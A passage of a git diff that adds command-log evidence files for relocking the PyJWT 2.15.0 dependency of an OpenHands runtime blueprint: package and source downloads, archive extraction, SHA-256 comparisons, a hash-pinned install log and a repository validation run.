(site/n).read_bytes()!=z.read(n):mismatches.append(n)\nresults.append({'artifact':wheel.name,'sha256':hashlib.sha256(wheel.read_bytes()).hexdigest(),'installed_python_sources_compared':compared,'mismatches':mismatches})\nsource=p/'pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68';sdist=p/'pyjwt-sdist/pyjwt-2.15.0';matches=[]\nfor name in ['tests/test_api_jwt.py','tests/test_jwks_client.py','tests/utils.py','tox.ini','pyproject.toml']:\n a=(source/name).read_bytes();b=(sdist/name).read_bytes()\n assert a==b,name\n matches.append({'path':name,'sha256':hashlib.sha256(a).hexdigest(),'tag_sdist_byte_identical':True})\nprint(json.dumps({'archive_and_installed_checks':results,'tag_sdist_selected_test_inputs':matches},indent=2))\nassert all((r.get('original_regular_files_compared',r.get('installed_python_sources_compared',0))>0) and not r['mismatches'] for r in results)\n", "", "/venv/lib/python3.13/site-packages"] +cwd: +started_utc: 2026-09-30T17:17:45.884117+00:00 +ended_utc: 2026-09-30T17:17:47.844198+00:00 +exit_code: 0 + +stdout: +{ + "archive_and_installed_checks": [ + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "pyjwt-source.tar.gz", + "archive_sha256": "9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261", + "extraction": "pyjwt-source", + "original_regular_files_compared": 92, + "mismatches": [] + }, + { + "artifact": "pyjwt-2.15.0-py3-none-any.whl", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "installed_python_sources_compared": 12, + "mismatches": [] + } + ], + "tag_sdist_selected_test_inputs": [ + { + "path": "tests/test_api_jwt.py", + "sha256": "8331ec496b0df6f770409d3b0bf2fa470b01222122270284fdca3b905ec77457", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/test_jwks_client.py", + "sha256": "f1f5e0076061c3931ecce432f7fa74986bc2febd820c8e1fb6a3035a3703d708", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/utils.py", + "sha256": "b5b937a60999a63d0515491c7f23f5b39bf534d036c1050deb1094eddf712f14", + "tag_sdist_byte_identical": true + }, + { + "path": "tox.ini", + "sha256": "1674dc3f7b5747e1d4aaf2641b93b1fe8d461da1b1209dcb55c7d1d74995df4d", + "tag_sdist_byte_identical": true + }, + { + "path": "pyproject.toml", + "sha256": "a89f0097abe7a485da60f4ef152c9e3ef4909ae5d5c0aef86b5178d9ee12b769", + "tag_sdist_byte_identical": true + } + ] +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt new file mode 100644 index 000000000..d50d0c42b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", "--output", "/pyjwt-2.15.0-py3-none-any.whl"] +cwd: +started_utc: 2026-09-30T17:04:35.575932+00:00 +ended_utc: 2026-09-30T17:04:35.666442+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt new file mode 100644 index 000000000..dc849a9ac --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", "--output", "/pyjwt-2.15.0.tar.gz"] +cwd: +started_utc: 2026-09-30T17:04:35.667657+00:00 +ended_utc: 2026-09-30T17:04:35.753798+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt new file mode 100644 index 000000000..9e5762675 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt @@ -0,0 +1,67 @@ +argv: ["rtk", "proxy", "sed", "-n", "1,58p", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini"] +cwd: +started_utc: 2026-09-30T17:07:03.896932+00:00 +ended_utc: 2026-09-30T17:07:03.921011+00:00 +exit_code: 0 + +stdout: +[flake8] +min_python_version = 3.9 +ignore= E501, E203, W503, E704 + + +[gh-actions] +python = + 3.9: py39 + 3.10: py310 + 3.11: py311, docs + 3.12: py312 + 3.13: py313 + 3.14: py314 + 3.15: py315 + pypy3.9: pypy39 + pypy3.10: pypy310 + pypy3.11: pypy311 + + +[tox] +envlist = + lint + typing + py{39,310,311,312,313,314,315,py39,py310,py311}-{crypto,nocrypto} + py{39,310,311,312,313,314,315}{,-crypto}-mypy + docs + pypi-description + coverage-report +isolated_build = True +labels = + mypy = py{39,310,311,312,313,314,315}{,-crypto}-mypy + + +[testenv] +# Build a shared wheel once, rather than building a .tar.gz file +# and forcing each individual tox environment to convert it to a wheel. +package = wheel +wheel_build_env = build_wheel +# Prevent random setuptools/pip breakages like +# https://github.com/pypa/setuptools/issues/1042 from breaking our builds. +setenv = + VIRTUALENV_NO_DOWNLOAD=1 +dependency_groups = + tests +extras = + crypto: crypto +commands = {envpython} -b -m coverage run -m pytest {posargs} + + +[testenv:pypy39-crypto] +# Newer cryptography releases require PyPy 3.11 when built from source. +deps = cryptography<47 + + +[testenv:pypy310-crypto] +deps = cryptography<47 + + + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt new file mode 100644 index 000000000..6ad71db7d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "https://pypi.org/pypi/PyJWT/2.15.0/json"] +cwd: +started_utc: 2026-09-30T17:01:25.943144+00:00 +ended_utc: 2026-09-30T17:01:26.015903+00:00 +exit_code: 0 + +stdout: +{"info":{"author":null,"author_email":"Jose Padilla ","bugtrack_url":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Natural Language :: English","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: 3.9","Topic :: Utilities"],"description":"PyJWT\n=====\n\n.. image:: https://github.com/jpadilla/pyjwt/workflows/CI/badge.svg\n :target: https://github.com/jpadilla/pyjwt/actions?query=workflow%3ACI\n\n.. image:: https://img.shields.io/pypi/v/pyjwt.svg\n :target: https://pypi.python.org/pypi/pyjwt\n\n.. image:: https://codecov.io/gh/jpadilla/pyjwt/branch/master/graph/badge.svg\n :target: https://codecov.io/gh/jpadilla/pyjwt\n\n.. image:: https://readthedocs.org/projects/pyjwt/badge/?version=stable\n :target: https://pyjwt.readthedocs.io/en/stable/\n\nA Python implementation of `RFC 7519 `_. Original implementation was written by `@progrium `_.\n\nSponsor\n-------\n\n.. |auth0-logo| image:: https://github.com/user-attachments/assets/\n :width: 160px\n\n+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| |auth0-logo| | If you want to quickly add secure token-based authentication to Python projects, feel free to check Auth0's Python SDK and free plan at `auth0.com/signup `_. |\n+--------------+-----------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n\nInstalling\n----------\n\nInstall with **pip**:\n\n.. code-block:: console\n\n $ pip install PyJWT\n\n\nUsage\n-----\n\n.. code-block:: pycon\n\n >>> import jwt\n >>> encoded = jwt.encode({\"some\": \"payload\"}, \"secret\", algorithm=\"HS256\")\n >>> print(encoded)\n \n >>> jwt.decode(encoded, \"secret\", algorithms=[\"HS256\"])\n {'some': 'payload'}\n\nDocumentation\n-------------\n\nView the full docs online at https://pyjwt.readthedocs.io/en/stable/\n\n\nTests\n-----\n\nYou can run tests from the project root after cloning with:\n\n.. code-block:: console\n\n $ tox\n","description_content_type":"text/x-rst","docs_url":null,"download_url":null,"downloads":{"last_day":-1,"last_month":-1,"last_week":-1},"dynamic":["License-File"],"home_page":null,"keywords":"json, jwt, security, signing, token, web","license":null,"license_expression":"MIT","license_files":["LICENSE","AUTHORS.rst"],"maintainer":null,"maintainer_email":null,"name":"PyJWT","package_url":"https://pypi.org/project/PyJWT/","platform":null,"project_url":"https://pypi.org/project/PyJWT/","project_urls":{"Homepage":"https://github.com/jpadilla/pyjwt"},"provides_extra":["crypto"],"release_url":"https://pypi.org/project/PyJWT/2.15.0/","requires_dist":["typing_extensions>=4.0; python_version < \"3.11\"","cryptography>=3.4.0; extra == \"crypto\""],"requires_python":">=3.9","summary":"JSON Web Token implementation in Python","version":"2.15.0","yanked":false,"yanked_reason":null},"last_serial":41564282,"ownership":{"organization":null,"roles":[{"role":"Owner","user":"jpadilla"}]},"urls":[{"comment_text":null,"core-metadata":{"sha256":"bf975d075729abd3be20eda40d21d6b013cce62a4d8e1778d9e839c65195d543"},"digests":{"blake2b_256":"e85540e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619","md5":"fd5e9bf5fd48779809db07fec0de8bd8","sha256":"7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8"},"downloads":-1,"filename":"pyjwt-2.15.0-py3-none-any.whl","has_sig":false,"md5_digest":"fd5e9bf5fd48779809db07fec0de8bd8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":33680,"upload_time":"2026-09-23T16:55:59","upload_time_iso_8601":"2026-09-23T16:55:59.241512Z","url":"https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"02a55197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432","md5":"807136f794f3aff6ef44929a3fc1bdee","sha256":"b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4"},"downloads":-1,"filename":"pyjwt-2.15.0.tar.gz","has_sig":false,"md5_digest":"807136f794f3aff6ef44929a3fc1bdee","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":120513,"upload_time":"2026-09-23T16:56:00","upload_time_iso_8601":"2026-09-23T16:56:00.689307Z","url":"https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz","yanked":false,"yanked_reason":null}],"vulnerabilities":[]} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt new file mode 100644 index 000000000..da7666b46 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/jpadilla/pyjwt/releases/tags/2.15.0", "--jq", "{tag_name,published_at,html_url,body}"] +cwd: +started_utc: 2026-09-30T17:07:03.233125+00:00 +ended_utc: 2026-09-30T17:07:03.575398+00:00 +exit_code: 0 + +stdout: +{"body":"See the [2.15.0 changelog](https://github.com/jpadilla/pyjwt/blob/2.15.0/CHANGELOG.rst) for complete release details.","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.15.0","published_at":"2026-09-23T16:51:08Z","tag_name":"2.15.0"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt new file mode 100644 index 000000000..3723d34cb --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/pyjwt-2.15.0.tar.gz", "-C", "/pyjwt-sdist"] +cwd: +started_utc: 2026-09-30T17:07:03.848196+00:00 +ended_utc: 2026-09-30T17:07:03.895824+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt new file mode 100644 index 000000000..d099d5c61 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://codeload.github.com/jpadilla/pyjwt/tar.gz/1d41a6478e1562e68ff667fcd703356acf085f68", "--output", "/pyjwt-source.tar.gz"] +cwd: +started_utc: 2026-09-30T17:07:02.701004+00:00 +ended_utc: 2026-09-30T17:07:02.914421+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt new file mode 100644 index 000000000..6788af9ea --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/pyjwt-source.tar.gz", "-C", "/pyjwt-source"] +cwd: +started_utc: 2026-09-30T17:07:03.806240+00:00 +ended_utc: 2026-09-30T17:07:03.846982+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt new file mode 100644 index 000000000..01ee3c679 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/jpadilla/pyjwt/git/tags/bd03a98b72aa7105b7920b9d0e7818369ac76abe"] +cwd: +started_utc: 2026-09-30T17:07:02.915832+00:00 +ended_utc: 2026-09-30T17:07:03.231956+00:00 +exit_code: 0 + +stdout: +{"node_id":"TA_kwDOABV8otoAKGJkMDNhOThiNzJhYTcxMDViNzkyMGI5ZDBlNzgxODM2OWFjNzZhYmU","sha":"bd03a98b72aa7105b7920b9d0e7818369ac76abe","url":"https://api.github.com/repos/jpadilla/pyjwt/git/tags/bd03a98b72aa7105b7920b9d0e7818369ac76abe","tagger":{"name":"José Padilla","email":"jpadilla@users.noreply.github.com","date":"2026-09-23T16:09:10Z"},"object":{"sha":"1d41a6478e1562e68ff667fcd703356acf085f68","type":"commit","url":"https://api.github.com/repos/jpadilla/pyjwt/git/commits/1d41a6478e1562e68ff667fcd703356acf085f68"},"tag":"2.15.0","message":"Release 2.15.0\n","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt new file mode 100644 index 000000000..0852a4aa6 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py"] +cwd: +started_utc: 2026-09-30T17:25:22.157116+00:00 +ended_utc: 2026-09-30T17:25:47.415886+00:00 +exit_code: 1 + +stdout: +Publication validation failed: +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt new file mode 100644 index 000000000..dd6fde4e3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt @@ -0,0 +1,2 @@ +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt new file mode 100644 index 000000000..93270c32e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt @@ -0,0 +1,187 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--no-build-isolation", "--index-url", "https://pypi.org/simple", "-r", "/candidate.lock"] +cwd: +started_utc: 2026-09-30T17:04:36.046072+00:00 +ended_utc: 2026-09-30T17:04:36.813053+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 176 packages in 17ms +Installed 175 packages in 663ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.5.0 + + cloudpickle==3.1.2 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + fakeredis==2.34.1 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + idna==3.15 + + importlib-metadata==8.5.0 + + inquirerpy==0.3.4 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.0 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl) + + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + platformdirs==4.4.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py-key-value-aio==0.4.4 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pygments==2.20.0 + + pyjwt==2.15.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.19.0 + + pyperclip==1.11.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.9.2 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.8.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt new file mode 100644 index 000000000..96255d7ff --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", "--output", "/sdk-source.tar.gz"] +cwd: +started_utc: 2026-09-30T17:01:26.017123+00:00 +ended_utc: 2026-09-30T17:01:26.739979+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt new file mode 100644 index 000000000..1edf6bfb0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/sdk-source.tar.gz", "-C", "/source"] +cwd: +started_utc: 2026-09-30T17:01:26.746990+00:00 +ended_utc: 2026-09-30T17:01:27.277240+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt new file mode 100644 index 000000000..eb6d5c772 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/sdk-source.tar.gz", "-C", "/source-repro"] +cwd: +started_utc: 2026-09-30T17:01:27.278175+00:00 +ended_utc: 2026-09-30T17:01:27.810350+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json new file mode 100644 index 000000000..9c8f90c0a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json @@ -0,0 +1,58 @@ +{ + "archive_and_installed_checks": [ + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "pyjwt-source.tar.gz", + "archive_sha256": "9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261", + "extraction": "pyjwt-source", + "original_regular_files_compared": 92, + "mismatches": [] + }, + { + "artifact": "pyjwt-2.15.0-py3-none-any.whl", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "installed_python_sources_compared": 12, + "mismatches": [] + } + ], + "tag_sdist_selected_test_inputs": [ + { + "path": "tests/test_api_jwt.py", + "sha256": "8331ec496b0df6f770409d3b0bf2fa470b01222122270284fdca3b905ec77457", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/test_jwks_client.py", + "sha256": "f1f5e0076061c3931ecce432f7fa74986bc2febd820c8e1fb6a3035a3703d708", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/utils.py", + "sha256": "b5b937a60999a63d0515491c7f23f5b39bf534d036c1050deb1094eddf712f14", + "tag_sdist_byte_identical": true + }, + { + "path": "tox.ini", + "sha256": "1674dc3f7b5747e1d4aaf2641b93b1fe8d461da1b1209dcb55c7d1d74995df4d", + "tag_sdist_byte_identical": true + }, + { + "path": "pyproject.toml", + "sha256": "a89f0097abe7a485da60f4ef152c9e3ef4909ae5d5c0aef86b5178d9ee12b769", + "tag_sdist_byte_identical": true + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt new file mode 100644 index 000000000..ba13415ca --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt @@ -0,0 +1,24 @@ +argv: ["rtk", "proxy", "rg", "-n", "exclude-newer|urllib3>=|cryptography<49|requires-python|pytest>=|coverage\\[toml\\]|crypto", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml"] +cwd: +started_utc: 2026-09-30T17:19:27.861837+00:00 +ended_utc: 2026-09-30T17:19:27.909627+00:00 +exit_code: 0 + +stdout: +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:7:exclude-newer = "7 days" # Avoid packages uploaded in the last 7 days. +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:8:exclude-newer-package = { litellm = "2026-07-20T00:00:00Z", lmnr = "2026-08-23T00:00:00Z" } # lmnr: allow 0.7.60 streaming-token fix through the 7-day guardrail 